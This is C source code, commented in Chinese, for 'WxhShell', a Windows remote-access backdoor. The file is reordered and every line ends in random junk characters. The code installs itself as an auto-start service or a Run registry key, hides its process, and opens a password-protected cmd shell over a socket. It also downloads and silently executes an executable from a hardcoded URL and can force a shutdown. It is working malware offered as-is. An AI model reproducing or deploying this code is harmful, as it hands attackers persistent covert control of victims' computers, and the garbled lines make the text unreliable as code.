    if(Boot(SHUTDOWN)) QbA+\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =23JE'^=  
    else { ug47JW  
    closesocket(wsh); "9mJ$us  
    ExitThread(0);  lt%bGjk  
    } `hJSo?G>  
    break; WPLM*]6  
    } >5G2!Ns'  
  // 获取shell $#E?`At{I  
  case 's': { ?fF{M%i-%  
    CmdShell(wsh); 0tV"X  
    closesocket(wsh); doM}vh)6  
    ExitThread(0); `uK_}Vy_  
    break; X$z@ *3=  
  } ;/.ZjTRw  
  // 退出 LU "e9  
  case 'x': { 9*wS}A&Jh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gQHE2$i>  
    CloseIt(wsh); MHZ!noAr  
    break; d9@!se9&Z  
    } p<%76H A  
  // 离开 =<~/U?  
  case 'q': { `}uOl C]I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,#;%ILF4%  
    closesocket(wsh); 2Hltgt,  
    WSACleanup(); e]N?{s   
    exit(1); G;r-f63N  
    break; ^ ]Mlkd:  
        } } ti+tM*  
  } Z[+H$=$%  
  } eyPh^c]?`8  
~]t/|xep  
  // 提示信息 ODE9@]a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eLC}h %  
} NY]`1yy  
  } Zr!he$8(2  
eq>E<X#<  
  return; r[ 2N;U  
} GWP;; x%  
X2ShxD|  
// shell模块句柄 %) A-zzj  
int CmdShell(SOCKET sock) d3 h^L  
{ i^hgs`hvU  
STARTUPINFO si; qSj$0Hq5XI  
ZeroMemory(&si,sizeof(si)); p_z_d6?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZUE?19GA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -26GOS_8z  
PROCESS_INFORMATION ProcessInfo; T/8*c0mU  
char cmdline[]="cmd"; 9n][#I)a3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :m|%=@]`  
  return 0; 7vBB <\  
} \gd.Bl  
_Se~bkw?v  
// 自身启动模式 <cTusC<  
int StartFromService(void) etbB;!6  
{ ~c8Z9[QW  
typedef struct ]F&<{\:_}  
{ K]q9wR'q  
  DWORD ExitStatus; _VIVZ2mU=  
  DWORD PebBaseAddress; ep]tio_  
  DWORD AffinityMask; )2c[]d /a4  
  DWORD BasePriority; WgBV,{ C  
  ULONG UniqueProcessId; ==d@0`  
  ULONG InheritedFromUniqueProcessId; z;x1p)(xt  
}   PROCESS_BASIC_INFORMATION; Yjo$^q  
MguH)r` uT  
PROCNTQSIP NtQueryInformationProcess; 4BSSJ@z  
wr\d5j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z$h39hm?c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &^-quzlZ  
K>H_q@-?f  
  HANDLE             hProcess; 71GLqn?  
  PROCESS_BASIC_INFORMATION pbi; Oh9jr"Gm=  
:hB 8hTw]p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -u6`B -T  
  if(NULL == hInst ) return 0; ,~@0IKIA Q  
lqC a%V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c" mRMDg%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]stAC3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]sz3:p=5  
Vab+58s5  
  if (!NtQueryInformationProcess) return 0; <fY<.X  
%dXfC!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~O{sOl _<4  
  if(!hProcess) return 0; =d_@k[8<0  
WFBg3#p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eZ~^Z8F[6  
a ^+b(&;k  
  CloseHandle(hProcess); #N-NI+qX  
qx! NU}6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h[c HCVM:  
if(hProcess==NULL) return 0; = Mc]FCV  
V%~u8b  
HMODULE hMod; maANxSzi  
char procName[255]; !" E&Tk}  
unsigned long cbNeeded; g+ `Ie'o<  
l\8 l.xP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ldJ eja~Xl  
r1cB<-bJ#'  
  CloseHandle(hProcess); 1KxtHLLU  
-CW$p=y}  
if(strstr(procName,"services")) return 1; // 以服务启动 X/,4hjg  
b2;Weu3WN  
  return 0; // 注册表启动 @:DS/#!  
} ku,Y-  
o5+N_5OE}E  
// 主模块 Hl&]r'bK  
int StartWxhshell(LPSTR lpCmdLine) KZV$rJ%G  
{ cm]D"GFLY  
  SOCKET wsl; l7 D/ ]&  
BOOL val=TRUE; ;FYiXK%  
  int port=0; 8a{FxCBw  
  struct sockaddr_in door; i3 k ',8  
k07JMS?  
  if(wscfg.ws_autoins) Install(); ;8sEE?C$g  
CORNN8=k  
port=atoi(lpCmdLine); !ViHC}:   
DvnK_Q!  
if(port<=0) port=wscfg.ws_port; ff"Cl p  
zqAK|jbL  
  WSADATA data; ;2RCgX!'%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Nzc1)t=  
Xmy(pV!PF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]4@z.1Mr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dbr(Wg  
  door.sin_family = AF_INET; st36xS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /IVw}:G  
  door.sin_port = htons(port); DSix(bs9  
7<{Zq8)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  6<A\U/  
closesocket(wsl); )|/t}|DIx  
return 1; /= P!9d {  
} <R~(6krJwZ  
,<zZKR_  
  if(listen(wsl,2) == INVALID_SOCKET) { ja2LQe@ Q  
closesocket(wsl); \@4QG.3&  
return 1; zqYfgV  
} d; @Kz^  
  Wxhshell(wsl); 9a)D8  
  WSACleanup(); ihH!"HH+  
b]6;:Q!d  
return 0; />\.zuAr&  
J.":oD  
} Z.m.Uyz{7  
HkxFDU-K  
// 以NT服务方式启动 ;,*U,eV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B!< {s'  
{ BU:s&+LYUv  
DWORD   status = 0; 451C2 %y  
  DWORD   specificError = 0xfffffff; L~ V 63K  
DC*|tHl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h bj^!0m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u ` 9Eh;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D4[5}NYU  
  serviceStatus.dwWin32ExitCode     = 0; ~C=`yj  
  serviceStatus.dwServiceSpecificExitCode = 0; 8%7H F:  
  serviceStatus.dwCheckPoint       = 0; n<yV]i$  
  serviceStatus.dwWaitHint       = 0; TO[5h Y\  
wSIt"g,%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3v:RLnB  
  if (hServiceStatusHandle==0) return; ]-{T-*h:  
-$WiB  
status = GetLastError(); {b/60xl?  
  if (status!=NO_ERROR) $if(`8  
{ )'%L#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a|?CC/Ra  
    serviceStatus.dwCheckPoint       = 0; *goi^ Xp  
    serviceStatus.dwWaitHint       = 0; I+O !<S B  
    serviceStatus.dwWin32ExitCode     = status; vWfC!k-)b  
    serviceStatus.dwServiceSpecificExitCode = specificError; WP^%[?S2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UDyvTfh1X  
    return;  wSV[nK  
  } _* 4 <  
)#3 ,y6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XrSqU D  
  serviceStatus.dwCheckPoint       = 0; oB9Fas!N  
  serviceStatus.dwWaitHint       = 0; !9iVe7V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,`+y4Z6`W2  
} *JO"8iLw  
XA9$n_| bw  
// 处理NT服务事件,比如:启动、停止 +}4vdi"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,O a)  
{ @uY%;%Pa8  
switch(fdwControl) [W{`L_"  
{ x+yt| &B  
case SERVICE_CONTROL_STOP:  Mw'd<{  
  serviceStatus.dwWin32ExitCode = 0; :g<dwuVO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :Np&G4IM>  
  serviceStatus.dwCheckPoint   = 0; Ev0V\tl>0  
  serviceStatus.dwWaitHint     = 0; =NJb9S&8A  
  { `! m+g0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ['-ln)96.  
  } `34[w=Zm  
  return; W,Dr2$V  
case SERVICE_CONTROL_PAUSE: oL }FD !}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z=)5M*h  
  break; "P<~bw5   
case SERVICE_CONTROL_CONTINUE: E pM 4 +  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; , {z$M  
  break; >wcsJ {I  
case SERVICE_CONTROL_INTERROGATE: F w{8MQ2  
  break; Zb2 B5( 0  
}; %q>gwq A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NqqLRgMOR'  
} _rjCwo\  
 |k 4+I  
// 标准应用程序主函数 >>^c_0"O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <\zb*e&vr  
{ , is .{ y  
VdK-2O(.-  
// 获取操作系统版本 o'Tqqrr  
OsIsNt=GetOsVer(); >y]YF3?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :X`J1E]Rjd  
&2?kD{  
  // 从命令行安装 ?Cu#(  
  if(strpbrk(lpCmdLine,"iI")) Install(); TqbKH08i/  
SKRD{MRsux  
  // 下载执行文件 d G:=tf&1R  
if(wscfg.ws_downexe) { >b*Pd *f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |Ca$>]?  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8a?V h^  
} Uk*s`Y  
ol`]6"Sc  
if(!OsIsNt) { ^Gs!"Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 _5 y)m5I  
HideProc(); PrN?;Z.  
StartWxhshell(lpCmdLine); yx/:<^"-$  
} NmtBn^ t  
else 7^Onq0ym T  
  if(StartFromService()) |Q:`:ODy`5  
  // 以服务方式启动 ]Dx?HBM"DC  
  StartServiceCtrlDispatcher(DispatchTable); nh9K(  
else kt;X|`V{5z  
  // 普通方式启动 wRie{Vk  
  StartWxhshell(lpCmdLine); /[EI0 ~P  
TvdmgVNP  
return 0; .Uih|h  
} >656if O  
M>I}^Zp!  
+%gh?  
4a)qn?<z  
=========================================== t9P` nfY  
@ $(4;ar  
'm/b+9?.  
6K<vyr40  
oN _% oc  
80+" x3r  
" W BiBtU  
m&ZdtB|  
#include <stdio.h> *4(.=k  
#include <string.h> +;>>c`{  
#include <windows.h> H9jj**W ;$  
#include <winsock2.h> $ \P!P.  
#include <winsvc.h> .)W8 U [  
#include <urlmon.h> DDkO g]  
MCYrsgg}  
#pragma comment (lib, "Ws2_32.lib") 45-pJf8F  
#pragma comment (lib, "urlmon.lib") mfx 'Yw*{  
O>k.sO <  
#define MAX_USER   100 // 最大客户端连接数 DTr0u}m  
#define BUF_SOCK   200 // sock buffer i,bFe&7J  
#define KEY_BUFF   255 // 输入 buffer 9CL&tpqv f  
?NHh=H\7u  
#define REBOOT     0   // 重启 1^$Io}o:S  
#define SHUTDOWN   1   // 关机 #4" \\  
fk",YtS*  
#define DEF_PORT   5000 // 监听端口 7`WK1_rR\  
;2X1qw>  
#define REG_LEN     16   // 注册表键长度 xSLN  
#define SVC_LEN     80   // NT服务名长度 wL%>  
.eeM&n;c  
// 从dll定义API 74Kl!A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WnIh( 0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E26ZVFg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1[}VyP6 e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fitm*  
ke/o11LP  
// wxhshell配置信息 f 8uVk|a  
struct WSCFG { v4S|&m  
  int ws_port;         // 监听端口 'rCwPsI&4  
  char ws_passstr[REG_LEN]; // 口令 dB1bf2'b#  
  int ws_autoins;       // 安装标记, 1=yes 0=no S:R%%cy  
  char ws_regname[REG_LEN]; // 注册表键名 Ii,L6c  
  char ws_svcname[REG_LEN]; // 服务名 0c`wJktWK  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S*\`LBl"nX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z&}94  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "dkvk7zCP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8ztY_"]3p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #FeM.k6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mirMDJsl%  
Z~P5SEg  
}; 2#py>rF(  
vwT?Bp  
// default Wxhshell configuration rN>f"/J |  
struct WSCFG wscfg={DEF_PORT, L;v#9^Fq  
    "xuhuanlingzhe", sa*hoL18  
    1, 9vVYZ}HC  
    "Wxhshell", z1YC%Y|R  
    "Wxhshell", 8cW]jm  
            "WxhShell Service", & d~6MSk  
    "Wrsky Windows CmdShell Service", @s@r5uR9B  
    "Please Input Your Password: ", UDxfS4yI  
  1, Pu}2%P)p  
  "http://www.wrsky.com/wxhshell.exe", `[`eg<xj  
  "Wxhshell.exe" b9"Q.*c<Z^  
    }; ousoG$Pc  
EW YpYMkm  
// 消息定义模块 YgVZq\AV"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y%Saz+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Lo !kv*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7j@TW%FmV\  
char *msg_ws_ext="\n\rExit."; DuCq16'0T  
char *msg_ws_end="\n\rQuit."; :MJTmpq,  
char *msg_ws_boot="\n\rReboot..."; * DU86JL`  
char *msg_ws_poff="\n\rShutdown..."; O*c +TiTb  
char *msg_ws_down="\n\rSave to "; &}*[-z  
3lLO.  
char *msg_ws_err="\n\rErr!"; '5{gWV`  
char *msg_ws_ok="\n\rOK!"; /oh[ Nu1D  
eLl ;M4d  
char ExeFile[MAX_PATH]; RX#:27:  
int nUser = 0; 3ne=7Mj  
HANDLE handles[MAX_USER]; )kg^.tP  
int OsIsNt; r_ Xk:  
t&-7AjS5  
SERVICE_STATUS       serviceStatus; [,l BY-Kz+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ! 5]/2  
MF>?! !  
// 函数声明 hGzj}t W8d  
int Install(void); 0naegy?,  
int Uninstall(void); l$z-'  
int DownloadFile(char *sURL, SOCKET wsh); V<(cW'zA/  
int Boot(int flag); M`S >Q2{  
void HideProc(void); 6&h,eQ!  
int GetOsVer(void); QDLtilf :  
int Wxhshell(SOCKET wsl); RD,` D!  
void TalkWithClient(void *cs); _jP]ifu`  
int CmdShell(SOCKET sock); ](3=7!!J  
int StartFromService(void); -u8 ma%JW  
int StartWxhshell(LPSTR lpCmdLine); \ocJJc9  
gX]?`u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %}2 s74D*Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o_jVtEP  
_>*TPlB  
// 数据结构和表定义 9'T nR[>  
SERVICE_TABLE_ENTRY DispatchTable[] = h\:"k_u#  
{ @7.Ews5Mke  
{wscfg.ws_svcname, NTServiceMain}, y1@{(CDp"  
{NULL, NULL} I+ydVj(Op  
}; wR\%tumk  
Z+FJ cvYx  
// 自我安装 [N.4 i" Cd  
int Install(void) FzW7MW>\x  
{ 8)'OXR0/  
  char svExeFile[MAX_PATH]; 1;S@XC>  
  HKEY key; ;5dJ5_}  
  strcpy(svExeFile,ExeFile); }eSaF@.  
08cC rG  
// 如果是win9x系统,修改注册表设为自启动 eY;XF.mF  
if(!OsIsNt) { =`99ez+y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RQ!kVM@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AwUcU;"9>  
  RegCloseKey(key); $CRu?WUS]'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (HDR}!.E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F7x]BeTM  
  RegCloseKey(key); iTwb#Q=  
  return 0; PFu{OJg&  
    } #8i DM5:EQ  
  } -QN1= G4  
} lvY[E9I0  
else { xG/B$DLn  
_h6SW2:z!E  
// 如果是NT以上系统,安装为系统服务 d)1 d0ES  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .J"QW~g^  
if (schSCManager!=0) "m4. _4U  
{ ~}pc&jz>q  
  SC_HANDLE schService = CreateService <A^sg?s<'  
  ( k#liYw I  
  schSCManager, ^CO{86V  
  wscfg.ws_svcname, ~G,_4}#"pM  
  wscfg.ws_svcdisp, _wH>h$E  
  SERVICE_ALL_ACCESS, >J*x` a3Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HCfme<'  
  SERVICE_AUTO_START, ;x%"o[[>  
  SERVICE_ERROR_NORMAL, :e /*5ix  
  svExeFile, ^F,sV*  
  NULL, Pm&hv*D  
  NULL, ,4:=n$e 0  
  NULL, *,& 2?E8  
  NULL, ~I6N6T Z  
  NULL YLJ^R$pi  
  ); :^7>kJ5?  
  if (schService!=0) )G#mC0?PV  
  { o3]Lrzh  
  CloseServiceHandle(schService); .V4-  
  CloseServiceHandle(schSCManager); o1`\*]A7J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @<NuuYQ&  
  strcat(svExeFile,wscfg.ws_svcname); ZtyDip'x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C RBj>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <Pzy'9  
  RegCloseKey(key); zD)/QFILy  
  return 0; /sfJ:KP0  
    } <O5WY37"q  
  } Nv=78O1  
  CloseServiceHandle(schSCManager); m g,1*B'  
} CP~mKmMV  
} 8~tX>q<@q  
KL9k9|!p  
return 1; sUF9_W5z  
} C];P yQS  
,AmwsXN"F  
// 自我卸载 dvZH~mF  
int Uninstall(void) [Ur\^wS  
{ R&9FdM3K`:  
  HKEY key; *,mI=1  
K>dB{w#gS  
if(!OsIsNt) { h);^4cU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ki?h7  
  RegDeleteValue(key,wscfg.ws_regname); 1rJ2}d\y  
  RegCloseKey(key); MjU|XQS:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >!6|yk`GJ  
  RegDeleteValue(key,wscfg.ws_regname); RWc<CQcL"  
  RegCloseKey(key); #~!"`B?#*  
  return 0; `J1HQ!Z  
  } E7t;p)x  
} 7i*eKC`ZqK  
} d{"-iw)t  
else { ]I[~0PCSX  
TjyL])$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8 q@Z  
if (schSCManager!=0) - 8p!,+Dk  
{ <%HRs>4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4b:|>Z-  
  if (schService!=0) =eDIvNps  
  { _p^ "l2%D/  
  if(DeleteService(schService)!=0) { 51SmoFbMz  
  CloseServiceHandle(schService); G 5;6q  
  CloseServiceHandle(schSCManager); G18w3BFx  
  return 0; |5bLV^mv]i  
  } u.|Z3=?VG  
  CloseServiceHandle(schService); gv''A"  
  } <eoie6@3  
  CloseServiceHandle(schSCManager); 93>4n\  
} ){*+s RBW  
} flsejj$  
:OG I|[  
return 1; <Dd>- K  
} CIjc5^Y2  
98>GHl'lM  
// 从指定url下载文件 fSkDD>&  
int DownloadFile(char *sURL, SOCKET wsh) k, HC"?K  
{ q`q;og `  
  HRESULT hr; `Mnu<)v  
char seps[]= "/"; rm iOeS`:  
char *token; =~B"8@B  
char *file; CMXF[X)%  
char myURL[MAX_PATH]; AcC &Q:g  
char myFILE[MAX_PATH]; yD7BZI xW  
;-+q*@sa]  
strcpy(myURL,sURL); or/gx3  
  token=strtok(myURL,seps); zx3gz7>k;  
  while(token!=NULL) ^7-zwl(>?N  
  { CL|/I:%0  
    file=token; c$O8Rhx  
  token=strtok(NULL,seps); ,o& C"sb  
  } S#7YJ7 K"N  
MUO<o  
GetCurrentDirectory(MAX_PATH,myFILE); 9a}9cMJ^"  
strcat(myFILE, "\\"); M|WBJ'#x0  
strcat(myFILE, file); Y%pab/Y  
  send(wsh,myFILE,strlen(myFILE),0); -8Jw_  
send(wsh,"...",3,0); CM;b_E)9)f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =p+y$  
  if(hr==S_OK) !%iHJwS#  
return 0; E TT46%Y  
else (W ~K1]  
return 1; ZK5nN9`  
S+ kq1R  
} )cqD">vs  
F (*B1J2_g  
// 系统电源模块 gcJ!_KZK  
int Boot(int flag) $[ {5+*  
{ g7\ =  
  HANDLE hToken; mdj%zJ8/  
  TOKEN_PRIVILEGES tkp; `o[l%I\Q  
Dac)`/  
  if(OsIsNt) { {.p.?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /jY u-H+C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i"^>sk  
    tkp.PrivilegeCount = 1; &Y]':gJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]&cnc8tC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :xd;=;q5  
if(flag==REBOOT) { 1Kg0y71"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f7Gn$E|/r;  
  return 0; )@PnpC%H  
} L, JQ\!c  
else { ?'a8QJo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JMb_00r  
  return 0; oQ$yr^M  
} s]arNaaA  
  } bSB%hFp=Cp  
  else { SmRlZ!%e  
if(flag==REBOOT) { XYEwn_Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6Sr]<I +:  
  return 0; fab'\|Y   
} ,X4e?$7g  
else { d2rs+-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #36Q O  
  return 0; g^AQBF  
} 34@[ZKJ5  
} 8v4}h9*F"7  
S c)^k  
return 1; >4:d)  
} JK k0f9)  
C?PQ>Q!f-  
// win9x进程隐藏模块 ]v+<K63@T  
void HideProc(void) ;_<R +w3-  
{ uO?+vYAN  
)!T~l(g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NGx3f3 9  
  if ( hKernel != NULL ) 6TtB3;5  
  { La4S/.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ve,g9I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /jbAf]"F;  
    FreeLibrary(hKernel); ?t#wK}d.  
  } Ey6R/M)?:y  
!l:GrT8J  
return; ;nY#/%f  
} V%Uj\cv  
,_[x|8m  
// 获取操作系统版本 ><V*`{bD9)  
int GetOsVer(void) m,l/=M  
{ A1WUK=P  
  OSVERSIONINFO winfo; F3tps jQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gQ1 obT"|  
  GetVersionEx(&winfo); 1b,a3w(:1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e8m,q~%#/  
  return 1; H;H=8'  
  else 7T~ M`$h  
  return 0; baxZ>KNi  
} )*')  
dC11kq qj  
// 客户端句柄模块 7Cgi&  
int Wxhshell(SOCKET wsl) aZfMeW  
{ ^^y eC|~N:  
  SOCKET wsh; fgLjF,Y  
  struct sockaddr_in client; \}jMC  
  DWORD myID; _fAgp_)  
*Gsj pNr-  
  while(nUser<MAX_USER) +y7z>Fwl  
{ ua\t5M5  
  int nSize=sizeof(client); kaG/8G(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BZR{}Aj4pa  
  if(wsh==INVALID_SOCKET) return 1; 0[;2dc  
^t >mdxuq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;KeU f(tH  
if(handles[nUser]==0) ]hl*6  
  closesocket(wsh); 12$0-@U  
else 7[m?\/K~  
  nUser++; ."Ms7=  
  } 1{}p_"s>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U& ?hG>  
^X#y'odtbS  
  return 0; RObnu*  
} -<iP$,bq72  
i"{O~[  
// 关闭 socket e#Tv5O  
void CloseIt(SOCKET wsh) +pofN-*%  
{ >{#JIG.  
closesocket(wsh); Q*ITs!~Z  
nUser--; \pmS*Dt  
ExitThread(0); K$E3RB_F  
} (In{GA7 ;  
f/Gx}x=  
// 客户端请求句柄 )G[byBa  
void TalkWithClient(void *cs) Na\ZV|;*tu  
{ j3-YZKpg  
`Sod]bO +U  
  SOCKET wsh=(SOCKET)cs; 4u{S?Ryy  
  char pwd[SVC_LEN]; Y&|Z*s+ +}  
  char cmd[KEY_BUFF]; 6FS%9.Ws  
char chr[1]; kY0HP a  
int i,j; $|4@Zx4vf  
[W[{ 4 Xu  
  while (nUser < MAX_USER) { bS_#3T  
~.a"jYb7A}  
if(wscfg.ws_passstr) { ggso9ZlLu+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WBe0^=x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4GYi'  
  //ZeroMemory(pwd,KEY_BUFF); lExQp2E  
      i=0; t)SZ2G1r  
  while(i<SVC_LEN) { qwTz7r  
r]B8\5|<d  
  // 设置超时 2y [Q  
  fd_set FdRead; =8FvkNr  
  struct timeval TimeOut; s!6lZ mPM  
  FD_ZERO(&FdRead); n#_B4UqW%  
  FD_SET(wsh,&FdRead); u{1R=ML  
  TimeOut.tv_sec=8; "ra$x2|=}  
  TimeOut.tv_usec=0; 9QZaa(vN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lu utyK!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qF)J#$4;6  
UQVL)-Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :e1h!G  
  pwd=chr[0]; pEyZH!W  
  if(chr[0]==0xd || chr[0]==0xa) { I&PJ[U#~a  
  pwd=0; )f8>kz(  
  break; u@a){ A(P  
  } y\Wn:RR1[  
  i++; _H]\  
    } @T1G#[C~t  
"Ih3  
  // 如果是非法用户,关闭 socket HU0.)tD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -@Ap;,=  
} GwWK'F'2  
d0J /"<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ! j~wAdHk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DP_b9o \5  
L!f~Am:#  
while(1) { so))J`ca)  
vu0Ql1  
  ZeroMemory(cmd,KEY_BUFF); zLJ>)v$81  
iFIGJS  
      // 自动支持客户端 telnet标准   j cd<'\;  
  j=0; pwSgFc$z  
  while(j<KEY_BUFF) { 7UTfafOGX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K)SWM3r  
  cmd[j]=chr[0]; [@$ SLl^Y  
  if(chr[0]==0xa || chr[0]==0xd) { /<[0o]  
  cmd[j]=0; >a3m!`lq  
  break; q~`hn(S  
  } 2m Y!gVi  
  j++; eqtZU\GI>  
    } s.1F=u9a  
y6 (L=$+B  
  // 下载文件 uYW4$6S 3  
  if(strstr(cmd,"http://")) { >`QBN1 Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l5z//E}W  
  if(DownloadFile(cmd,wsh)) _{|a<Keq|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hY}Q|-|  
  else zDF Nx:h  
